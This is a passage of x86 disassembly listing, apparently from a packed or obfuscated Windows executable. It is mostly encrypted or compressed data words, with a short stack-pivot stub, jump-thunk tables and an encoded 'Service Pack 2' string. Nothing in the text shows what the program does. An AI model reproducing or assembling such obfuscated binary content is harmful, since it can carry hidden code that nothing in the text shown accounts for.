dd 7900B745h, 38A3BD2h, 23E05DCCh, 83EFE217h, 9C6D164Ah
dd 6C538A25h, 428D2891h, 0EBD22E05h, 0DD1964h, 9DF50000h
dd 0C2291AA7h, 0F89322DBh, 576E3B97h, 6FBA2974h, 98D2E632h
dd 1C277A45h, 0B5D7508Fh, 69h, 1AA79D91h, 16AC66E3h, 69E8E7E2h
dd 0E2172FECh, 7448FE7h, 7CE717B6h, 4EE9348Dh, 7E1DB803h
dd 18FF368Fh, 0D493D0E1h, 4AE5DC2Dh, 275E93DBh, 7C3154AAh
dd 20BB06EFh, 0A13C8B81h, 20BB0A02h, 80DDA8C3h, 0DC424603h
dd 105BA6EFh, 9BF6C12Ch, 0D0AA18A8h, 1029h, 0EFC90500h
dd 62000000h, 0CDD669B9h, 0B1EECF3Ch, 205D9D85h, 45B26CE9h
dd 0D50CEF7Ch, 0DC479B58h, 11B0FBEFh, 3F7DC8FFh, 271AC56Ch
dd 700E511Ch, 0E7000006h, 6F169D10h, 0FAA1289Fh, 8930B70Eh
dd 12B94077h, 0AD47CEF7h, 0D8E11CA6h, 6451AA51h, 0F1C436DDh
dd 7B4AC36Ah, 0D14EBDF4h, 0EFE21814h, 9D073B74h, 0E5291AA7h
dd 0E0D72922h, 635AA645h, 0D04D67C8h, 556FE3ADh, 76E3AEC9h
dd 0F9582376h, 0D750B24Ah, 5487h, 0A79D6300h, 0D32F3AC6h
dd 1F56A1ECh, 0B8F5CC38h, 2C964B8Fh, 80B30ED9h, 41D7503Dh
dd 35h, 1AA79D1Dh, 0E819C229h, 2F3D0C13h, 48E4306Dh, 1BB609FFh
dd 99348D7Ch, 8F56213Ch, 62AD487Fh, 0F9C41717h, 0E25CEAA6h
dd 53E71AE7h, 74D7506Fh, 0FFFFFEABh, 1AA79D50h, 9F49E529h
dd 330814Ch, 0BED7503Dh, 2B7h, 29987057h, 906DC0ECh, 70578E29h
dd 428D2899h, 0E5D82E05h, 0A78EBD4Ah, 7EC9645Bh, 5A1BE641h
dd 0E88F16AFh, 0D6628E1Dh, 80101A7Eh, 0E2B44603h, 105BA6E7h
dd 73BB2AC5h, 0DF88073Eh, 0F1041424h, 67D41132h, 0EF7C6851h
dd 0D8D03CE5h, 1EDAEC0Ch, 0E4590E1h, 79F6D527h, 0EFDCF9BCh
dd 4986D11Ch, 33FE1976h, 0AD18F3DAh, 556C9970h, 0F7DA27CEh
dd 0DCF9BD7Ah, 506797EFh, 6516AB5h, 6F9D84BBh, 0E1700742h
dd 69B4C25Ah, 0EBD22FCEh, 5B9063A0h, 0EFDC40A2h, 0AA27A615h
dd 0EFDC42EDh, 0AB63024Dh, 0F936811Ch, 0F712D39Eh, 65A047CEh
dd 4336F370h, 4B96EFDCh, 0CE6950ACh, 2E9D3883h, 8B48C5EEh
dd 0EBEFDC43h, 0B803BA4Ch, 23B9366Dh, 0D5F7763Bh, 0DDC4038Ah
dd 0B0FB962Dh, 2EC9F811h, 0BFFFA6E3h, 92644B82h, 611F801Bh
dd 4098C1FCh, 7BEA2772h, 0CFE615FCh, 0B14AE934h, 505AC704h
dd 0EAFF7109h, 12CF049Fh, 0ECFFD109h, 6D0CA71Eh, 8D289Fh
dd 0B1AF1AE5h, 24099942h, 25D2336Dh, 33C28DE8h, 27FB6EBh
dd 76B2FF8h, 457C8D74h, 0D1225FAAh, 92684F86h, 8027E623h
dd 0FE9D3889h, 0F02FB60Fh, 3037F471h, 4C9707CBh, 0EB20680Fh
dd 4B3137B4h, 58A30F65h, 5ACF88BDh, 0F15C0FC5h, 7D78CB26h
dd 5E59F0B3h, 35000000h, 0C30A5D9Dh, 0FC0435DBh, 85043B86h
dd 0BF5A639Eh, 0F1A11374h, 4820AC9h, 83285AC7h, 0F574EF7Ch
dd 0F56D1B4Ch, 99CED75Ch, 0EFDCFFDCh, 63B4F13Ch, 0FFAE118h
dd 6FD01BB6h, 25BEC662h, 0C99CD974h, 0DC9CDB94h, 6AE968EFh
dd 0DC9D30EDh, 84590EFh, 0A48FE2ADh, 1DD0AABBh, 0DAh, 0D19C6DF9h
dd 0A4EF8A39h, 0E21FBE59h, 16B572EFh, 0CA15E7E2h, 4BE6D12Bh
dd 7B1AB500h, 61983382h, 9C378E7Ah, 0E09D1A51h, 40E7E216h
dd 28E1B8F5h, 0B7D51299h, 0D3E7E21Bh, 0F2C5373Ah, 3AC10C57h
dd 0F467BC3h, 0E3801566h, 0C906F308h, 7F4DB5Ah, 0DA0471AEh
dd 34EF7667h, 0BB09B2E9h, 6BE0BFFFh, 836AD916h, 21083F86h
dd 0F641DCEBh, 1830FC95h, 0EC298FE1h, 427B862Dh, 1CFA2D04h
dd 0C90CD727h, 36Bh, 1BA21BECh, 0A62D8474h, 35BC03FFh
dd 0BE45788Eh, 4CD3EA17h
dd 0E421A1B2h, 5CAF56DDh, 0C13BE269h, 31C86FF6h, 53C2F980h
dd 0E21B19D6h, 0C4079EFh, 873D2CD5h, 0D9815797h, 8138C59Ch
dd 914ECB4Ah, 0F1E7E2A4h, 3AA69A6h, 0F534BB0Ah, 0A43CF976h
dd 519CE7E2h, 9C6DE814h, 12EB8A25h, 0BD08BF4Fh, 0F510F736h
dd 16A663E0h, 0BB06E7E2h, 0D5073370h, 0AA518EEh, 52AB82BFh
dd 0D029C863h, 0AE2BAAE1h, 0E7E216F1h, 0AC90651h, 0DF164B93h
dd 7C315C62h, 30C9B0EFh, 7CFBBC6Bh, 550B93Eh, 91E21F6Ah
dd 0BD76AB46h, 4AEFDC52h, 76BD14DFh, 4BD0AA05h, 65h, 205D9D27h
dd 6CEB6AE9h, 0E21732EFh, 124792E7h, 0E7E21755h, 0C02D6AB5h
dd 0EF7C1F8Eh, 21DE5BDAh, 81EFDC30h, 9A8F936h, 9A57D4F7h
dd 0FAEFDC2Fh, 0E21964AFh, 6F9D0B39h, 0CA078C11h, 3A17C0F7h
dd 7FA656FDh, 853CC968h, 9522DB48h, 44AFEFDCh, 357B2479h
dd 0CDA25A6h, 0BF84EF2Ch, 12D0AA90h, 0C6h, 259C6DEEh, 0A71EEB8Ah
dd 259C6D0Ch, 0A312EB8Ah, 0E934DD1Ch, 4EDE4333h, 6886F330h
dd 0ECE7E2CAh, 0CB33F06Dh, 0F10DE7E2h, 2966B1CAh, 830ABB52h
dd 5D942DDCh, 0CAA461DEh, 80BCE7E2h, 3BF45CC2h, 0A5E22D46h
dd 0E61B63D2h, 6CF832AFh, 752EF7Ch, 8CC10980h, 0D198D855h
dd 0B702F770h, 566D9980h, 46C3AA19h, 10B9F87Fh, 0CA9DB67Bh
dd 88053C73h, 0F7D993CBh, 0CCA3E02Bh, 0E54A8831h, 132F1789h
dd 1CD0548h, 758A0000h, 0FA12B940h, 619D44CBh, 0DA2CD35Ah
dd 48B55CE3h, 4350EA71h, 0F47B42BFh, 8007BE4Dh, 0D9423D9h
dd 971E9766h, 0B774F160h, 17EFE21Ch, 906DAADEh, 0FE0BF229h
dd 0A4E12CC7h, 0F6CF3EE5h, 5D9D736Fh, 3A6CE920h, 0A4EF7C1Fh
dd 0D089BE59h, 0A2EFDC2Eh, 20BF5A6Bh, 0A942DDE4h, 6A4EBB86h
dd 56DD34FFh, 6BD0AA25h, 0CBh, 259C6D47h, 0BFF607EEh, 3550C324h
dd 0C1724998h, 0C7663976h, 0CD4C833Ah, 0E2939350h, 9B58D5E7h
dd 0FBE7E293h, 0F4C97B0h, 0E31E053Ch, 0B7F43FDAh, 0E2992C4Ah
dd 3DC9B0E7h, 63A0EB86h, 0BD447D8Ch, 33CEE716h, 104784C4h
dd 7CAC5993h, 3168B3EFh, 0C502B34Ah, 124F8F06h, 0AF06F4DBh
dd 0A360DD14h, 3EFDCADh, 0C1306DB8h, 70FB5F44h, 5BD80FF7h
dd 0F7D98D9Eh, 9F6631B6h, 314A6EF4h, 7D649BE6h, 0BB23980h
dd 0BC89C7FEh, 482F1784h, 0D13A7Dh, 71860000h, 0FE0EB53Ch
dd 6D9940C7h, 0D628CF56h, 54B158DFh, 474CE66Dh, 0F0774EBBh
dd 7C03B249h, 99027D5h, 931AAB62h, 0B370ED5Ch, 13EFE21Dh
dd 906DA6DAh, 2FBA229h, 0D5302CB3h, 0CA71EEEh, 5CAD84C1h
dd 0BB472E65h, 1E6958B0h, 9E6F0EE1h, 2847F027h, 9D27C87Dh
dd 0ACEBAAE7h, 0E78239C5h, 70B85F9Ch, 0BF4F1AE7h, 0D722BD08h
dd 9BD8558Ch, 0FBEF79E2h, 7813AA5Ch, 0C4ABE22Dh, 98E37E37h
dd 10E9885Bh, 9A731AA1h, 3E55D215h, 8BD65A20h, 0BE6EBBF0h
dd 7F9A4AADh, 997259B4h, 210ACB2Ch, 91D79DEEh, 358C7D54h
dd 0BFF607AEh, 3C738524h, 5E2944A1h, 0C84F6697h, 0A2D9E821h
dd 2FE9A623h, 0FE495AADh, 7B16A95Fh, 0DD20F330h, 3, 6DB6DAB9h
dd 0E988239Ah, 6706A110h, 0E8872295h, 6807A213h, 0EA89249Dh
dd 6C0BA61Fh, 0E988239Ah, 6C0BA61Dh, 0FA8A259Ch, 81E18951h
dd 4C1h, 4BB5300h, 29000000h, 0C875BD9h, 80685C24h, 89000053h
dd 0EC83243Ch, 241C8904h, 6FD468h, 242C8900h, 0FFFCE1BDh
dd 5DEF8907h, 32A368h, 24248900h, 4240481h, 5B000000h
dd 5480B850h, 0E0D11789h, 0EA74692Dh, 348F2D7Dh, 0D801B128h
dd 0FF583889h, 835B2434h, 3C8B04C4h, 0E6895624h, 4C681h
dd 0C6810000h, 4, 5C243487h, 0FB4C8FE9h, 78D7A1FFh, 95CEC201h
dd 0B84436A9h, 800080Fh, 0E0FFC503h, 7BA546C5h, 6DD894FCh
dd 2F0E9538h, 456AF415h, 0BF8FAA2h, 78F278A7h, 5EB1BA74h
dd 6F42A3B6h, 296AF368h, 44F60170h, 2C32DE57h, 25B4AD73h
dd 7BAA4DFFh, 48DA0BDDh, 65DE1CACh, 6AA9AE13h, 685A4BD9h
dd 20DDA387h, 7EF38FE1h, 370D625Eh, 50D9DE4Dh, 24EBh, 8 dup(0)
dd 0BDE90000h, 89000000h, 8F5B5h, 0ED858B08h, 8B07FA33h
dd 0FA224585h, 3FB58D07h, 8D080009h, 0FD7DE285h, 0C3D0FF07h
dd 0E855h, 815D0000h, 945EDh, 0EDBD8308h, 107FA33h, 2C850Fh
dd 0B5FF0000h, 80008F5h, 2245858Bh, 363507FAh, 0FF348127h
dd 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h, 40E9C0h
dd 1C6A0000h, 8F9B58Dh, 0FF560800h, 8F5B5h, 45858B08h
dd 3507FA22h, 34812736h, 0C483D0FFh, 0F9B58D0Ch, 8B080008h
dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h
dd 0BD830000h, 7FA33EDh, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h
dd 91E858Dh, 85890800h, 7FA0825h, 0A6E9h, 0D1E53E00h, 9407h
dd 500h, 100h, 0A2800h, 200h, 72655300h, 65636976h, 63615020h
dd 32206Bh, 1Fh dup(0)
dd 0E9000000h, 0C71h, 0C2668h, 7452E908h, 5768FFFAh, 0E908000Dh
dd 0FFFA7448h, 0E4468h, 743EE908h, 0B368FFFAh, 0E908000Eh
dd 0FFFA7434h, 100068h, 742AE908h, 8A68FFFAh, 0E9080010h
dd 0FFFA7420h, 143968h, 7416E908h, 9768FFFAh, 0E9080015h
dd 0FFFA740Ch, 0E016888Eh, 89BFDF33h, 2F6539DCh, 0DB118D82h
dd 85BBE32Eh, 5EB39C51h, 0B75D0A40h, 0C04B1E7h, 64AF5C92h
dd 0DD35043Ah, 0E68D5EC1h, 671E8407h, 1BF66CA7h, 66CFF883h
dd 19D76DBh, 411F6ACBh, 0ADFB95B1h, 4EA707E0h, 0AD3097C3h
dd 0B93A07E0h, 0B5C0F8FFh, 235E406Eh, 0EF000000h, 3ACA96F3h
dd 0E09C501Eh, 57B94E07h, 2753DE47h, 7E09BC0h, 888F49CAh
dd 406EA750h, 0FBEEh, 6CA77F00h, 257A732h, 80148E10h, 6637C3D1h
dd 0D938E58Bh, 0D9F535C5h, 0FFE75F76h, 769E439Ch, 0CE749D28h
dd 613DD63Bh, 0E13186D6h, 630932BDh, 0B1415DB6h, 0CD488A87h
dd 5EFDD8BAh, 0E938B236h, 59973DB5h, 0E6B3F9E5h, 0C9281FFh
dd 0B4EA29D6h, 0AB791029h, 3FCF3866h, 0E0CC8523h, 92C82107h
dd 78085831h, 25B0EE23h, 0A2BE56FCh, 0FDD6D5Fh, 6F2FE136h
dd 972780C9h, 88A6706Dh, 997118Dh, 71E35DD3h, 87E4B4B0h
dd 0BAFA9238h, 67F2AC65h, 8198FB17h, 65BEFFEDh, 0ED506CFCh
dd 13FFED80h, 0AA6714BAh, 30F64F4h, 1FB7F59Bh, 0E89CBF5h
dd 993FABEBh, 0BB7925ECh, 999863B0h, 31C1609Bh, 0CD00000Ah
dd 721F5549h, 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh, 90C4FAA4h
dd 811DF4DBh, 28769E4Bh, 0D3CB45F2h, 7B23F09Dh, 21E7645h
dd 7E68F9Fh, 0A7A85FC5h, 51FE346Ah, 0EFA6DCC2h, 3ACA96F3h
dd 0E09C501Eh, 8ECE4E07h, 0E09B0F72h, 70DC3507h, 7E09B0Dh
dd 0E171DA33h, 0D5C94CA1h, 52B5214Ah, 8007E09Bh, 48E10516h
dd 2B948440h, 5FC6F285h, 6907E17Dh, 127591D1h, 4007E17Dh
dd 6C041E7h, 6F89C7FFh, 0E86540h, 0A7F60000h, 42A7326Ch
dd 0EA3FCFCFh, 40D37925h, 0E6882814h, 0FD2767FFh, 0CDE0E19Dh
dd 52B52137h, 80FFE731h, 3FD48127h, 79DCF838h, 0A7FFE731h
dd 317FE24Eh, 4CA5FFE7h, 1300ADE3h, 4DD8C64Fh, 81DCAA24h
dd 5B0B11Fh, 77CC0C9Ch, 5079049Ah, 0E6AA81E4h, 0E14460FFh
dd 0FFFE6A9h, 761C75B6h, 0A1BFCAE3h, 0CB57F511h, 0EE8307E0h
dd 87EC7727h, 5C85108Eh, 0BAFA8AF3h, 0E08A3B9Eh, 6A106907h
dd 0A2BECB2Ch, 69A2F612h, 85D0FDDh, 0A308930Bh, 7AA32E70h
dd 0C9226B11h, 712DE439h, 1B838E3Bh, 9899D05Dh, 59F83399h
dd 900h, 508618FEh, 0F92F6FA3h, 9FD5C94Ch, 4B811DF2h, 0F52B739Eh
dd 0EE230CC1h, 47CD7AB0h, 9C742157h, 0F41FCC02h, 4DA574AAh
dd 0E690CE31h, 0D78EF407h, 1AF86AA7h, 67D0F984h, 0F8F8431h
dd 7CBC22D9h, 0E682FD60h, 24CA23FFh, 72029C77h, 0A6F81Dh
dd 570B086Dh, 4379E2BCh, 29B9A7E2h, 0AB89BFE9h, 807B4CCh
dd 0B77EE62h, 0C6507E7h, 0BD203C7Ch, 0E307E6FAh, 0F74CE48Ah
dd 0D84C821Ch, 7E6FB05h, 8B8A9AF3h, 9B74AA13h, 0B0B0D983h
dd 5747CB20h, 0FBFD19B1h, 980FE100h, 5F1C1C6Eh, 0CA70EF1Ch
dd 87EB2881h, 0A3A9DFE1h, 9251475h, 9C1915A6h, 7A0A73CCh
dd 0B7277450h, 7B213FCDh, 59F5C7E3h, 0C821A413h, 61640E38h
dd 0FB9DA7A7h, 0E0A9C255h, 4AD4F080h, 58A3AC3Bh, 0F91A6FFFh
dd 51C26FA5h, 0F7788F4Dh, 205B05ABh, 81381h, 732BEB00h
dd 1C82903Dh, 0C2DC39E6h, 6E30DF8Ch, 18868B38h, 12F9AEE2h
dd 0BC699FFFh, 63104658h, 0EBBF1ADh, 94639905h, 91BD203Ch
dd 7DE307E6h, 0CA96F3C6h, 6CA5FA3Ah, 0EE6DA732h, 9153151h
dd 0E65A0069h, 7E70C6Fh, 1F74045Dh, 0DD75ABF3h, 7C0C4B3h
dd 0EA90043Ch, 3EC9D53Dh, 0E8283AD9h, 99022BB6h, 9E3AB2DBh
dd 0C3629D91h, 7A4h, 0ACE2BC5Ah, 558B13FFh, 0FB316DA8h
dd 0A7DDC14Eh, 518717FAh, 927F681Dh, 0EB29D60Ch, 40D07DB3h
dd 987B285Eh, 0A901D006h, 0E6912A8Dh, 3BF25807h, 3ACA96F3h
dd 3B9EBAFAh, 5FFE683h, 0DB048F0Fh, 279B419Ah, 7E68DB0h
dd 0E035C51Eh, 2EC66C32h, 2F92AEEEh, 1C07E68Ch, 0CA796136h
dd 48DD1EADh, 1E47D2CCh, 0B1620FB5h, 0CA1FB7EDh, 0A1CA5549h
dd 6DF39AFBh, 178788DDh, 66BDD971h, 7407E6A7h, 0FE64901Bh
dd 807E6A6h, 0A9FECD87h, 0C1913767h, 4074AF89h, 4327h
dd 9AF3B800h, 0BB1A36C6h, 0E9FFE683h, 72D90590h, 7CFFE683h
dd 487241FBh, 4ADF86Ah, 0E2B2583Ch, 38753DAAh, 0D2355191h
dd 0FFE72Dh, 112001A7h, 0B1000000h, 1FF6Dh, 0C9E52500h
dd 0FFE68366h, 0D68D338Ch, 0F3AB67BCh, 0C0993F68h, 0D78900AAh
dd 8A292B47h, 238D07E0h, 39D870C0h, 37B1DA65h, 0B74CB20h
dd 0B4EA267Bh, 5865C90Eh, 6EB78B73h, 99B5451Bh, 0B03191C7h
dd 0CEE772CBh, 0D515A5BBh, 915156B9h, 29E77CAFh, 0CE660C75h
dd 0C5D9398Eh, 0F521AB1Fh, 6CC5B78Eh, 40ECB2DCh, 0D7F0832Fh
dd 0CF449931h, 27EC99CFh, 265AB977h, 367131C9h, 65797h
dd 2F6FA700h, 0D8C64CF9h, 7E20F5A2h, 2A749B48h, 0D4CA47F4h
dd 0CEB56A9Eh, 78255B43h, 1FCC029Ch, 0CA77ADF1h, 501F5549h
dd 9379DCF8h, 41A707E6h, 0B6CA78Ah, 0E6838CEFh, 0E4BA56FFh
dd 6FEF3059h, 0E682F053h, 54BD16FFh, 0D01060EBh, 0E68351B4h
dd 833746FFh, 19E8C57Ah, 0CFCF43D8h, 38B21B44h, 0DC716F2Eh
dd 298A3038h, 46700060h, 0DD9EC96h, 23BB6141h, 0E161A507h
dd 4278D107h, 62207E95h, 9E64D00Fh, 0CD36D510h, 31000005h
dd 0D683B9E5h, 7F2C623Ch, 25D20896h, 0D17EB4EAh, 0F4285E40h
dd 0E5B9583Fh, 8C1202AFh, 3767A956h, 0DFBF5401h, 6682DAA9h
dd 7E69303h, 0BC14CB31h, 82FD607Ch, 0CA23FFE6h, 0CB258850h
dd 21C70E73h, 51C39F74h, 3099C24Dh, 0CBD340A5h, 39F32440h
dd 0AAE0BE55h, 750FA2DAh, 3E4038h, 0F3D10000h, 1E3ACA96h
dd 7E08C34h, 0AAF41DB2h, 0FD8DF61Fh, 0A8336BA8h, 8BD93C58h
dd 0AE0707E0h, 0E00C9F45h, 7E08B79h, 41480283h, 406E9709h
dd 67A7h, 0FB175700h, 7E07F98h, 8BF65BEh, 0E4B996F3h, 518227E0h
dd 0C1DD6DD6h, 7E199C0h, 1B839126h, 6EFE6790h, 94F35144h
dd 0C166FC12h, 96BF4A54h, 0F0358F0h, 7FE5598Fh, 4707E0F5h
dd 49CD2CCh, 93A550DAh, 7AD6859h, 68AAB85Ah, 1982AB36h
dd 0F6143E8Eh, 0A40723A9h, 0D207E0A3h, 6D52FF79h, 0D51900A6h
dd 0B2000004h, 3ACA96F3h, 0E0AD8C1Eh, 7E9A1A07h, 7E0AC1Bh
dd 6ADA2710h, 63A4A550h, 0BC11A10Ah, 97070A58h, 0EF7AE30Ch
dd 288D20C6h, 0CE23B3EBh, 5DB75C42h, 0E78DB641h, 8C2FB54h
dd 395C0F39h, 0EA51969Fh, 0BAA6E344h, 55AAEA2Ah, 3059E4BAh
dd 0E14B61C4h, 91368F07h, 3771D81h, 0FDB7571h, 5E40D126h
dd 0E0166FB8h, 33BEE033h, 1D818EE3h, 79049A78h, 4049AA50h
dd 0E749020h, 3C07E180h, 803DA0BCh, 0E36307E1h, 0E18064C7h
dd 0D0399207h, 9C77DC67h, 0FE127702h, 65F0AE64h, 0F848D33Ch
dd 0E18079DCh, 0F24EA707h, 8D5F07C1h, 8EF10D4Dh, 0B407E180h
dd 7A34B55Bh, 73107D96h, 1A848B0Dh, 11EC668Fh, 6CFC65E1h
dd 16A6F817h, 0E0DA97FAh, 0BE64BD07h, 8CA8E880h, 7E0DA29h
dd 0F758FE57h, 1C829292h, 9D0723B3h, 490FDAF1h, 0B5405EB4h
dd 3398238Ch, 187B97E0h, 5FFE6C4h, 0C1C57F82h, 54D4154Eh
dd 0E748D538h, 39A2FBFFh, 482A8DA9h
dd 0FF58FFE7h, 6CA60B96h, 0D042A732h, 0BEFF43CEh, 618A5C04h
dd 0E67A0FA7h, 97FA1656h, 0BDFFE748h, 4955BF64h, 85EF0BA3h
dd 6107E15Fh, 5662C5E1h, 0FB9007E1h, 0D3FC8717h, 1ECB016Ah
dd 0CE1EA9F5h, 61079779h, 0B6415DB4h, 866A245Dh, 43DB118Dh
dd 0DB479819h, 0F99F014Bh, 0DF6FF198h, 0DB165DC3h, 2EE53A0Fh
dd 16BCE570h, 84E974CDh, 557F0F8Fh, 0C5554512h, 0E07319ECh
dd 0D36B254Eh, 0FE1AAAB6h, 7E10298h, 0B81B3777h, 0DE07E102h
dd 6F2FE085h, 0CC15BBE4h, 0D0B9E373h, 857213B7h, 35E220C6h
dd 630C0DEh, 0D3C00B7Dh, 0EE812745h, 84148A89h, 0E0C79D5Ah
dd 282326E0h, 0E8F56B9Ch, 0FC3AE049h, 98060F64h, 2CF891F2h
dd 0BD4DB6E8h, 0DB0D07A1h, 0B7429B0Fh, 0E6F8248Bh, 0F3AD2EFFh
dd 7500B4ECh, 365238h, 0C2020000h, 0E6F043A6h, 721871FFh
dd 0CA96F3BBh, 9C501E3Ah, 0F54E07E0h, 9BD73E6Ah, 60E107E0h
dd 9082D7A6h, 0B45A830Eh, 6EA7ACE4h, 0F94A40h, 0A5FA0000h
dd 0D68D336Bh, 0A7326CA7h, 8CA8CF42h, 0FFE68329h, 0E84FE57h
dd 0AF7D515Bh, 78DD68D1h, 1378039Bh, 0F4689E00h, 0FFE6AD08h
dd 0BAD6A172h, 0FFE6A457h, 85BB247Dh, 0EA273BD8h, 0A7C04BB4h
dd 0D2EE7EE2h, 7E0B9ECh, 2A8BC11Ah, 5571015Fh, 0FDD9979h
dd 67BC4CA5h, 3D61B4AEh, 2FE449D4h, 52BBE46Fh, 7FD414ACh
dd 0B6630995h, 73B3435Bh, 0ED58F457h, 54B7D3FFh, 82FFED59h
dd 0E98FE829h, 4F13FEABh, 0D939DEC0h, 419E5CC5h, 42999896h
dd 21E6807h, 36E00000h, 8D853268h, 0E72EDB11h, 3BD481B7h
dd 91802D63h, 0EEA3D70Dh, 5C920C05h, 33965AFh, 0AEE4BA56h
dd 568C1201h, 0B0132F87h, 0D607E697h, 6AA7B970h, 0C251FE34h
dd 0F9A3E1CBh, 0D3FC8717h, 0A4317759h, 0E72A2588h, 89F24BFFh
dd 0E9669020h, 41972CEEh, 6F0745EBh, 3BB0132Fh, 7DD6FFE7h
dd 0DA6539D8h, 0F3540BB1h, 0FA3ACA96h, 833B9EBAh, 0FE1AFFE6h
dd 0FFE6839Bh, 0D62F70C9h, 9BEEBC30h, 739D07E0h, 4E578E14h
dd 0B3FCA226h, 0BF9D7C49h, 922284CEh, 0E17E1376h, 7FE84107h
dd 0C04FA4F4h, 2E1953DEh, 0AB697142h, 3AAE54BDh, 7E0A4D3h
dd 9BA25CDDh, 406EB063h, 811DF54Ah, 0DAFADBh, 0A78B0000h
dd 42A7326Ch, 1844CFCFh, 0FFE6882Ch, 6CA5BD56h, 0F47F1FF6h
dd 69F962CBh, 87AA0D29h, 7FD8FFE6h, 25EE9BD9h, 0B4D5EE79h
dd 9CDC1CACh, 0E6871D80h, 0CED943FFh, 5D21156h, 0A317BD26h
dd 7E114BDh, 0F95A90E9h, 2A8DA990h, 5807E0ECh, 0F08785FFh
dd 0D70B9CAh, 0BFEA14A4h, 0E0E70229h, 0E1FD953Bh, 0FDDB9A6h
dd 0BD203CBCh, 0E3FFED0Bh, 5191218Ah, 0ED0BD235h, 1A700FFh
dd 0A1FD1469h, 927ED36Bh, 0F35C42D0h, 0F171A04Dh, 0CFCF431Fh
dd 49B21B44h, 98C84A8Bh, 4BEA2599h, 0C0h, 90C6D83Eh, 396F2FE3h
dd 0DF15898Ch, 8BC1DD32h, 356B33DEh, 0AE634C01h, 70DBAF0h
dd 5CB46197h, 0B45F0C42h, 8DE5B4EAh, 0E6980E71h, 17CE3407h
dd 0FE346AA7h, 6FA0C251h, 0D990C62Fh, 0A7326CA7h, 98FB1757h
dd 0BEFFE683h, 112BF65h, 82F75A76h, 0D4E4FFE6h, 0E5EB17C9h
dd 3CA5FE3Fh, 7CE4A506h, 506CACECh, 0FFE6DEEDh, 0A014BA13h
dd 7E6E925h, 0B3EB26BBh, 52690F39h, 1A83AD2Fh, 0B5E92A8Fh
dd 5D41D27Fh, 9842A6D2h, 0C41417B8h, 55FBA36Fh, 0DD361AD4h
dd 35DE8BC1h, 9679DE69h, 0C2EB7D08h, 0AFEF2408h, 4647CC79h
dd 0B55F1D1Ch, 5945CD15h, 5DFC87F0h, 8, 267BBBF6h, 540BB1EDh
dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h
dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 4EC8152h
dd 54000000h, 8124048Fh, 42404h, 89530000h, 4C381E3h, 83000000h
dd 1C8704EBh, 0C895C24h, 7A9D6824h, 34890000h, 0CC685024h
dd 584A8A67h, 75A31B05h, 8BC189BDh, 0C4812404h, 4, 24348B54h
dd 4C481h, 51500000h, 8468958h, 24348B58h, 81E68956h, 4C6h
dd 4C68100h, 87000000h, 8B5C2434h
; ---------------------------------------------------------------------------
or al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58B334
; ---------------------------------------------------------------------------
dw 8E3Ch
dd 3E9A7157h, 167CB844h, 0C5030800h, 856CE0FFh, 0B04D18C9h
dd 0D4D41A1Dh, 16230DC0h, 69AB0263h, 277D1F22h, 8B1B2BC3h
dd 359F2A2Eh, 5EE87044h, 93620AB1h, 0B147CF2h, 8D8D1A83h
dd 8001812h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 8DC35646h, 8F89988Ah, 0FE958CCh, 0EB000000h, 9510B373h
dd 0CD0BA59Bh, 0AC23473Ah, 8D896AD9h, 7FA1CD9h, 100D9523h
dd 85C707FAh, 7FA31ADh, 641Ch, 0AE9h, 0D9246F00h, 0C12D8E32h
dd 0C7A1A217h, 0FA2BD985h, 7, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 289BD2B2h
dd 99A25F84h, 68D0Fh, 9D8B0000h, 7FA0079h, 14C99D23h, 0B5FF07FAh
dd 7FA2F59h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 5FC35747h, 807A46CDh, 95FF00DEh, 7FA1799h, 95FF006Ah
dd 7FA1019h, 0CEBC08Bh, 0F933A049h, 3520DD2Bh, 0D6A6F456h
dd 0FE8h, 6E99A00h, 81BBC537h, 8A5E14EDh, 72FB698Bh, 4840Fh
dd 0BF660000h, 0F5E1C9Ch, 880h, 8D895600h, 7FA29BDh, 95C6815Fh
dd 300006Ch, 0FA1C2195h, 1C93307h, 0FA062585h, 0E048B07h
dd 2FA9950Bh, 0F08107FAh, 1A9EF249h, 54F081FCh, 8126C020h
dd 1E48FDF0h, 259D8B5Bh, 5007FA2Fh, 8FDE8B66h, 0CA800E04h
dd 0D040BF4Ch, 0E98101DAh, 4EB90D7Fh, 7BC181F5h, 604EB90Dh
dd 0D9F38166h, 219D8B3Fh, 6107FA08h, 9400F981h, 850FFFFFh
dd 0FFFFFFA9h, 1E299D09h, 10E807FAh, 0B7000000h, 160879C1h
dd 90CAF4DAh, 0A47804D5h, 8076E8F3h, 315F3BDFh, 0FA29E595h
dd 16C78107h, 0F000071h, 289h, 33CB8B00h, 0E98166D2h, 34FF7881h
dd 3595093Ah, 5807FA0Dh, 81F081F8h, 0B17E31F7h, 29E881D6h
dd 89358235h, 0FA0821B5h, 29C08107h, 8B64433Dh, 0FA0811B5h
dd 17048907h, 24E59589h, 9D8B07FAh, 7FA0E51h, 0F02EA83h
dd 989h, 3880F00h, 80000000h, 4A4A2DD9h, 2C31B58Bh, 0FA8107FAh
dd 0FFFF8FA8h, 19850Fh, 0B5890000h, 7FA21D5h, 28E9h, 709FF300h
dd 0F71FE784h, 0BDF8B1CAh, 0FE7E433h, 68Ch, 0C98D8B00h
dd 0E907FA31h, 0FFFFFF76h, 6623A1ADh, 6405607Ch, 28E9D7h
dd 7D270000h, 57CAh, 253h, 7 dup(0)
dd 1FE90000h, 6800000Ch, 8001B47h, 0FB3B57E9h, 1C7D68FFh
dd 4DE90800h, 68FFFB3Bh, 8001E14h, 0FB3B43E9h, 1ED768FFh
dd 39E90800h, 68FFFB3Bh, 8001FB6h, 0FB3B2FE9h, 217468FFh
dd 25E90800h, 68FFFB3Bh, 8002224h, 0FB3B1BE9h, 235768FFh
dd 11E90800h, 68FFFB3Bh, 8002442h, 0FB3B07E9h, 378E81FFh
dd 0C2F109B0h, 5168943Bh, 0DAED23CAh, 6851AC53h, 0B65C47E1h
dd 44EB724Bh, 0D077FEB7h, 5D048B3Ah, 578E15ACh, 30AE6BE8h
